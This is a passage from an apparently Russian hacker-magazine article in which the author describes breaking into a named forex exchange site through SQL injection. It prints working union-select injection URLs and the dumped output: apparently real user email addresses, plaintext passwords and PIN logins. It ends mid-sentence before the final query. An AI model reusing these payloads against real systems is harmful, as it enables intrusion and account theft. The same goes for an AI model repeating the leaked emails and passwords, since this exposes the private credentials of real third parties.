Красиво жить не запретишь Стройков Леонид aka Roid Хакер, номер #093, стр. 093-086-3 https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,email+from+user/* Через несколько секунд я стал обладателем небольшого спам-листа (кусок): |jseremet@inet.hr | sarah_ymmss@optusnet.com.au | tech@pridal.com | wesleymc2@optusnet.com.au | jnankervis@westnet.com.au | JrgS1@web.de | finance@sydney.net | matt@designbycode.com | gilesyboy@hotmail.com | andrew101@tsn.cc | kopaanond@webmail.co.za | vdr_mic@inbox.ru | yeziz@pochta.ru | investasidolarku@yahoo.com | drkomandur@yahoo.com | andrew@xtracurly.com | dsavillo@theonlinemarkeetplace.com | Улыбка в очередной раз пробежала по моему лицу. Я быстро сконструировал еще один запрос к базе: https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,password+from+user/* И получил список всех паролей (кусок): | stolli01 | Jkg4d3Sd3 | wbm344action | corella5843 | DWF498 | a3373a | cauthon | 1234 | a030373a | ANDREW | @9SHkAfG#gZ5913j | mosdef | yulka | qwerty | rony290872 | aenbavidi | grimmy1 | 061394 | rebecca | hN@R1RL0pH | Cesarina35 | momo111 | 12345678 | rashaki | r3ndh1 | porc0405 | power | IrTsclLREx4r | newyork2 | zach97 | locarno | 2shmily11999 | obi4ampari | currency | Parzival01 | 230872 | meggsy2 | a12345 | e354d | X43gaF=63Y | lin67kei | orb_sp | gredgwin | 123JhMDIqeQ124 | owsNSXS7 | online | Неплохо. Но мне хотелось большего — базы вида логин/пароль/email. Как извлечь мыльники и пароли, я уже знал. Оставалось определить название поля, хранящего в себе логины юзеров. К сожалению, данные из html-кода формы регистрации на этот раз мне не помогли. Тогда я начал перебирать различные варианты названия поля в таблице: user, userid, account, name и т.д. При подстановке «name» в запрос к базе я получил список имен юзеров, который мне, впрочем, не облегчил задачу. Побродив еще немного по сайту обменника, я наткнулся на интересную заметку в разделе восстановления пароля. В ней говорилось о каком-то PIN'е. Сначала я подумал, что в системе существует дополнительная функция безопасности, использующая пин-код. Ради интереса я сделал выборку из БД по полю «pin»: https://www.e-forexgold.com/member_directory/default.php?categoryid=-1+union+select+1,pin+from+user/* После чего появился ответ (кусок): | TX-31769 | TX-65552 | TX-96019 | TX-14221 | TX-90355 | TX-59674 | TX-96297 | TX-83594 | TX-77292 | TX-61732 | TX-26514 | TX-47046 | TX-32178 | TX-62544 | TX-23077 | TX-90086 | TX-53533 | TX-64442 | TX-67213 | Я ненадолго задумался. Странный формат записи пина почему-то не давал мне покоя. А что если этот пин и есть логин юзера? Я выбрал опцию восстановления пароля и ввел первый попавшийся пин. Нажав enter, я увидел сообщение, содержание которого гласило о том, что пасс был отправлен на указанное при регистрации мыло. Значит, мое предположение оказалось верным: логином юзера служил именно pin. Теперь было необходимо слить базу в удобочитаемом виде. Для этого я использовал функцию CONCAT(), объединяющую строки, а полученные данные разделил при помощи char(32), то есть пробела. Сам запрос получился такой: |